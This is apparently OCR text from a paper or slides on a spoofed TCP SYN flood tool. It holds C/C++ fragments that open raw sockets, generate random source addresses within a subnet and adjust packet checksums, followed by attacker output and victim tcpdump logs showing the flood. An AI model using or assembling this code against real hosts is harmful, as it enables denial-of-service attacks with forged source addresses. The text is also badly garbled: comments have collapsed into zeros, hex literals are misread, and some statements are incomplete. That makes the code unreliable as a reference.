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if (ver == IPv4){

rawdsock = socket (AF_INET,
00000000 SOCK_RAW, IPPROTO_RAW);}
else if (ver == IPv6)

raw6sock = socket (AF_INETS6,
00000000 SOCK_RAW, IPPROTO_RAW);

pfsock = socket (AF_PACKET,
000000 SOCK_RAW, htons(ETH_P_ALL));
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size_t found = addressRange.find("/");
if (found == string::npos) {
cerr << "/ not found in addressRange" << endl;
return false;
}
string netAddrStr =
string prefixStr =

addressRange.substr(0,found) ;
addressRange . substr(found+1) ;

if (ver == IPv4){
inet_pton(AF_INET, netAddrStr.c_str(), &saddr);
//0000000000000000000000 saddr
gooooo
smask.s_addr = htonl (Oxffffffff <<
(32-atoi(prefixStr.c_str())));
//0 32000000000000000 1000000

(—IPVGDDDD Scce000000O0000O0O0OO0 ™

struct in6_addr randomAddr;

for (int j=0; j < 4; j++){
//00000 32000000 400000000
randomAddr.s6_addr32[j]
= (addr.s6_addr32[j] & mask.s6_addr32[j])
//000000000000O0O0O
| ((u_int32_t) (2147483648*drand48())
& “mask.s6_addr32[j]);
//0000000000000D000Od
}
return randomAddr;

}
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void checksumadjust(unsigned char *chksum,
unsigned char *optr, int olen,
unsigned char *nptr, int nlen);

long x, old, newdata;
x=chksum[0] *256+chksum[1] ;
x="x & OxFFFF;

while (nlen){
newdata=nptr [0] *256+nptr[1]; nptr+=2;
x+=newdata & Oxffff;
if (x & 0x10000) { x++; x&=0xffff; }
nlen-=2;}

x="x & OxFFFF;

chksum[0]=x/256; chksum[1]=x & Oxff;}
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T IPv4 TCP SYN Flood Attacker )

Random V4 addr: 192.168.54.114
Random Port: 60375

Random V4 addr: 10.0.1.10
Random Port: 8000

Interval (usec): 1388271

V4 addr: 192.168.24.98
Port: 60513

V4 addr: 10.0.1.10
Port: 8000

115156

Random
Random
Random
Random
Interval (usec):
V4 addr: 192.168.241.56
Port: 60109
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Port: 8000
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T IPv4 TCP SYN Flood Victim Y\

tcpdump -1

15:43:34.926022 IP 192.168.73.96.60228
> 10.0.1.10.8000: Flags [S],
seq 1599409180:1599409260, win 60000, length 80

15:43:35.703877 IP 192.168.76.12.60738
> 10.0.1.10.8000: Flags [S],
seq 1399793690:1399793770, win 60000, length 80

15:43:36.118276 IP 192.168.77.95.60592
> 10.0.1.10.8000: Flags [S],
seq 3030214733:3030214813, win 60000, length 80
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